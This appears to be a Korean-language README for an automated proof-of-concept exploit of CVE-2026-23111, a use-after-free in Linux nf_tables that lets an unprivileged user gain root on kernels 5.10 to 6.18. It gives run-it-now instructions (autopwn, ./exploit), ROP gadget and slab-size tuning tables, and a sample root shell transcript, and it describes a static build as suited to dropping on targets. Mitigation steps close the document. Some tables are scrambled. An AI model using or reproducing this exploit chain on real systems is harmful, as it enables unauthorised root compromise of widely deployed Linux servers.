
CVE-2026-23111 nf_tables catchall UAF — Linux 5.10-6.18용 비특권 LPE. KASLR 우회, 임의 커널 읽기, ROP 체인을 포함한 자동 적응형 익스플로잇. Debian, Ubuntu, RHEL, Fedora 지원. C/Python/Rust + autopwn.
nf_tables catchall UAF → 비특권 LPE. 대부분의 5.10—6.18 리눅스 커널에서 일반 사용자가 root 권한을 획득합니다. 타깃 커널에 자동으로 적응합니다 — struct 오프셋을 탐지하고, 심볼을 해석하고, ROP 가젯을 찾고, slab 캐시를 결정하며, 맞춤형 익스플로잇을 생성해 컴파일하고 실행합니다.


nft_map_catchall_activate()(net/netfilter/nf_tables_api.c)에서 역전된 genmask 검사. 트랜잭션 중단(abort) 중에 핸들러는 재활성화가 필요한 비활성 catchall 요소를 건너뛰고, 그럴 필요가 없는 활성 요소를 처리합니다. 이로 인해 chain->use가 제대로 복원되지 않은 채 감소하며, 여전히 참조 중인 체인에서 DELCHAIN이 가능해져 UAF가 발생합니다.
버그가 있는 조건:
// WRONG (actual code) — skips the elements that need reactivation
if (!nft_set_elem_active(ext, genmask))
continue;
// CORRECT (what it should be) — skips elements already active
if (nft_set_elem_active(ext, iter->genmask))
return 0;
seq_operations로 재할당하여 커널 베이스 누출commit_creds(init_cred)unshare -rUn(user + network 네임스페이스)만 필요이 버그는 6.1.36(백포트)에서 도입되었으며 여러 LTS 브랜치에 존재합니다:
이 범위는 사실상 2023~2026년 사이에 출시된 모든 주요 엔터프라이즈 리눅스 배포판을 포함합니다.
git clone https://github.com/Knz-source/CVE-2026-23111-POC-noddlenpottato
cd CVE-2026-23111-POC-noddlenpottato
python3 autopwn.py
또는 단계별로:
python3 checker.py --detailed # check if vulnerable / verifica se é vulneravel
python3 scripts/extract_offsets.py # grab kernel offsets / pega offsets do kernel
python3 scripts/find_gadgets.py # find ROP gadgets / encontra gadgets ROP
make # build the exploit / compila o exploit
./exploit # pop root
.
├── autopwn.py full auto — detect, extract, compile, exploit
├── checker.py vulnerability checker (version, modules, userns, BTF)
├── exploit_61.c base exploit (Debian 6.1.172 offsets, template for autopwn)
├── exploit/
│ ├── exploit.c C exploit
│ ├── exploit.py python wrapper with retry logic
│ └── exploit.rs rust port (compiles static with musl)
├── scripts/
│ ├── extract_offsets.py BTF/pahole offset extractor
│ ├── find_gadgets.py ROP gadget finder (objdump/nm)
│ ├── slab_check.sh slab cache analyzer
│ └── install_deps.sh dependency installer
├── img/ diagrams
├── Makefile build targets (C, Rust, deps)
├── EXPLOITATION.md deep dive into the 5-phase exploit chain
├── DEBUGGING.md step by step offset extraction and gadget hunting
└── CONSIDERATIONS.md edge cases, bypasses, pitfalls
sizeof(nft_chain) 값은 커널 빌드마다 다릅니다. 잘못된 스프레이 크기 = 조용한 실패(silent failure):
debian 6.1.172: 120 bytes → kmalloc-128
ubuntu 6.5.x: 136 bytes → kmalloc-192
ubuntu 6.8.x: 152 bytes → kmalloc-192
debian 5.15.x: 112 bytes → kmalloc-128
userdata 스프레이는 정확한 struct 크기(slab 크기가 아님)를 반드시 사용해야 합니다. autopwn.py는 pahole을 통해 이를 자동으로 처리합니다.
eval() 호출 지점에서 expr 포인터를 보관하는 레지스터는 커널 버전에 따라 달라집니다:
| 커널 | 레지스터 | 필요한 가젯 |
|---|---|---|
| 6.1.x (debian) | rbp | leave; jmp __x86_return_thunk |
| 6.5+ (ubuntu) | rbx | mov rsp, rbx; ret or push rbx; pop rsp; ret |
잘못된 가젯 = 즉각적인 커널 패닉. 항상 nft_do_chain을 디스어셈블하여 확인하세요.
최신 커널은 모든 ret을 jmp __x86_return_thunk로 대체합니다. 가젯 검색은 이를 반드시 고려해야 합니다 — pop rdi; ret은 찾을 수 없고 pop rdi; jmp __x86_return_thunk를 찾게 됩니다.
# C (recommended — fastest, proven)
make
# Rust (static binary with musl — good for dropping on targets)
make rust
# install build deps
make deps
$ id
uid=1000(user) gid=1000(user)
$ ./exploit
[*] CVE-2026-23111 nftables UAF -> LPE
[+] chain freed (kmalloc-128) + name freed (kmalloc-32)
[pwn] kbase = 0xffffffff9a400000
[pwn] my_task found at 0xffff8e4a1c084190
[pwn] canary = 0x5c6fa95dca98e100
[pwn] commit_creds(init_cred) -> ROP triggered
[+] root
# id
uid=0(root) gid=0(root) groups=0(root)
| 문서 | 내용 |
|---|---|
| EXPLOITATION.md | 코드와 함께 제공되는 전체 익스플로잇 체인 상세 분석(EN/PT) |
| DEBUGGING.md |
# update kernel to fixed version
apt upgrade linux-image-$(uname -r)
# or disable unprivileged user namespaces
sysctl -w kernel.unprivileged_userns_clone=0
# or blacklist nf_tables
echo 'install nf_tables /bin/true' >> /etc/modprobe.d/blacklist.conf
원본 취약점 분석은 nf_tables 권고에서 비롯되었습니다. 전체 LPE 체인 개발, slab 분석, 다중 커널 적응, 피벗 가젯 연구, autopwn 도구는 독자적으로 개발되었습니다.
| 커널 범위 | 수정된 버전 | 영향을 받는 배포판 |
|---|
| 6.13 — 6.18.9 | 6.18.10 | fedora 41+, arch (rolling) |
| 6.7 — 6.12.69 | 6.12.70 | ubuntu 24.04/24.10, fedora 39/40 |
| 6.1.36 — 6.1.162 | 6.1.163 | debian 12 (bookworm), RHEL 9 파생 배포판 |
| 5.15.121 — 5.15.199 | 5.15.200 | ubuntu 22.04 LTS, debian 11 백포트 |
| 5.10.188+ | 여러 버전 | debian 11 (bullseye), RHEL 8 파생 배포판 |
| 자신의 커널에 맞는 모든 오프셋과 가젯을 추출하는 방법(EN/PT) |
| CONSIDERATIONS.md | 엣지 케이스, 우회 기법, 컨테이너, SMEP/SMAP, 탐지(EN/PT) |